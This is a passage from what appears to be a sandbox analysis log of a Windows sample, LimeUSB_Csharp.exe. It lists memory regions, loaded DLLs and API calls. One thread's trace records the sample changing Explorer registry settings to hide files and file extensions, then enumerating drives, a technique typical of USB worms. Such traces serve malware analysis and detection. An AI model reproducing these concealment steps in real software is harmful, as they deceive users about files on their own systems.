"" Region: id = 2026 start_va = 0x2dd0000 end_va = 0x1adcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 2027 start_va = 0x1add0000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 2028 start_va = 0x29a0000 end_va = 0x2aa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 2029 start_va = 0x2ae0000 end_va = 0x2b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 2030 start_va = 0x2b80000 end_va = 0x2c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 2031 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2032 start_va = 0x1b150000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 2033 start_va = 0x1b2b0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 2034 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2035 start_va = 0x1b3b0000 end_va = 0x1b67efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2037 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2054 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2055 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2056 start_va = 0x7fe91990000 end_va = 0x7fe91a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91990000" filename = "" Region: id = 2057 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2058 start_va = 0x320000 end_va = 0x39cfff monitored = 0 entry_point = 0x32cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2059 start_va = 0x320000 end_va = 0x39cfff monitored = 0 entry_point = 0x32cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2060 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2159 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2160 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2168 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2185 start_va = 0x2850000 end_va = 0x290ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 2186 start_va = 0x2920000 end_va = 0x299ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 2198 start_va = 0x7fe91a10000 end_va = 0x7fe91a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a10000" filename = "" Region: id = 2199 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2263 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2306 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2312 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2317 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2326 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2331 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2332 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2335 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2399 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2400 start_va = 0x1b680000 end_va = 0x1b951fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 20 os_tid = 0x76c [0082.302] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.378] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e688 | out: phkResult=0x18e688*=0x1c4) returned 0x0 [0103.381] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e6d8, lpData=0x0, lpcbData=0x18e6d0*=0x0 | out: lpType=0x18e6d8*=0x4, lpData=0x0, lpcbData=0x18e6d0*=0x4) returned 0x0 [0103.381] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e6d8, lpData=0x18e6b8, lpcbData=0x18e6d0*=0x4 | out: lpType=0x18e6d8*=0x4, lpData=0x18e6b8*=0x2, lpcbData=0x18e6d0*=0x4) returned 0x0 [0104.026] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x18e698, lpData=0x0, lpcbData=0x18e690*=0x0 | out: lpType=0x18e698*=0x4, lpData=0x0, lpcbData=0x18e690*=0x4) returned 0x0 [0104.648] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x18e708*=0x2, cbData=0x4 | out: lpData=0x18e708*=0x2) returned 0x0 [0104.648] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e6d8, lpData=0x0, lpcbData=0x18e6d0*=0x0 | out: lpType=0x18e6d8*=0x4, lpData=0x0, lpcbData=0x18e6d0*=0x4) returned 0x0 [0104.648] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e6d8, lpData=0x18e6b8, lpcbData=0x18e6d0*=0x4 | out: lpType=0x18e6d8*=0x4, lpData=0x18e6b8*=0x1, lpcbData=0x18e6d0*=0x4) returned 0x0 [0104.649] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x18e698, lpData=0x0, lpcbData=0x18e690*=0x0 | out: lpType=0x18e698*=0x4, lpData=0x0, lpcbData=0x18e690*=0x4) returned 0x0 [0104.649] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x18e708*=0x1, cbData=0x4 | out: lpData=0x18e708*=0x1) returned 0x0 [0104.884] GetLogicalDrives () returned 0x4 [0105.273] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d618 | out: phkResult=0x18d618*=0x0) returned 0x2 [0105.274] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0105.547] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x18e070, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0105.739] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0105.741] CoGetContextToken (in: pToken=0x18f520 | out: pToken=0x18f520) returned 0x0 [0105.741] CObjectContext::QueryInterface () returned 0x0 [0105.741] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.741] Release () returned 0x0 [0105.742] CoGetContextToken (in: pToken=0x18efc0 | out: pToken=0x18efc0) returned 0x0 [0105.742] CObjectContext::QueryInterface () returned 0x0 [0105.742] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.742] Release () returned 0x0 [0105.743] CoGetContextToken (in: pToken=0x18efc0 | out: pToken=0x18efc0) returned 0x0 [0105.743] CObjectContext::QueryInterface () returned 0x0 [0105.743] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.743] Release () returned 0x0 [0105.747] CoGetContextToken (in: pToken=0x18efc0 | out: pToken=0x18efc0) returned 0x0 [0105.747] CObjectContext::QueryInterface () returned 0x0 [0105.747] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.747] Release () returned 0x0 [0105.749] CoGetContextToken (in: pToken=0x18efe0 | out: pToken=0x18efe0) returned 0x0 [0105.749] CObjectContext::QueryInterface () returned 0x0 [0105.749] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.749] Release () returned 0x0 [0105.817] CoUninitialize () Thread: id = 22 os_tid = 0x7d0 Thread: id = 23 os_tid = 0x4c4 [0086.412] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.745] RegCloseKey (hKey=0x1c4) returned 0x0 [0105.745] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 24 os_tid = 0x3b8 Process: id = "11" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x35bcc000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2061 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2062 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2063 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2064 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2065 start_va = 0x3b0000 end_va = 0xe73fff monitored = 1 entry_point = 0xe6e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2066 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2067 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2068 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2069 start_va = 0x7fff4000 end_va = 0x7fff4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff4000" filename = "" Region: id = 2070 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2071 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2072 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2073 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2074 start_va = 0x50000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2075 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2076 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2077 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2078 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2079 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2080 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2081 start_va = 0x250000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2082 start_va = 0x2c0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2083 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2084 start_va = 0xf80000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 2085 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2086 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2087 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2088 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2089 start_va = 0xf80000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 2090 start_va = 0x10a0000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 2091 start_va = 0x1120000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 2092 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2093 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2094 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2095 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2096 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2097 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2098 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2099 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2100 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2101 start_va = 0x1220000 end_va = 0x13a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001220000" filename = "" Region: id = 2102 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2103 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2104 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2106 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2107 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2108 start_va = 0x13b0000 end_va = 0x1530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013b0000" filename = "" Region: id = 2109 start_va = 0x1540000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001540000" filename = "" Region: id = 2110 start_va = 0x2940000 end_va = 0x33fcfff monitored = 1 entry_point = 0x33fe3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2111 start_va = 0x2940000 end_va = 0x33fcfff monitored = 1 entry_point = 0x33fe3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2112 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2113 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2114 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2115 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2116 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2117 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2120 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2121 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2122 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2124 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 2125 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 2126 start_va = 0x7fe918b0000 end_va = 0x7fe9193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 2127 start_va = 0x7fe91940000 end_va = 0x7fe919affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91940000" filename = "" Region: id = 2128 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2129 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2130 start_va = 0x2940000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 2131 start_va = 0x2b20000 end_va = 0x2d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 2132 start_va = 0x2d40000 end_va = 0x2e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 2133 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2134 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2135 start_va = 0x2e40000 end_va = 0x1ae3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 2136 start_va = 0x1ae40000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 2137 start_va = 0x2940000 end_va = 0x2a40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 2138 start_va = 0x2aa0000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 2139 start_va = 0x2b20000 end_va = 0x2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 2140 start_va = 0x2ca0000 end_va = 0x2d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 2141 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2142 start_va = 0x1b1c0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 2143 start_va = 0x1b360000 end_va = 0x1b45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 2144 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2148 start_va = 0x1b460000 end_va = 0x1b72efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2151 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = 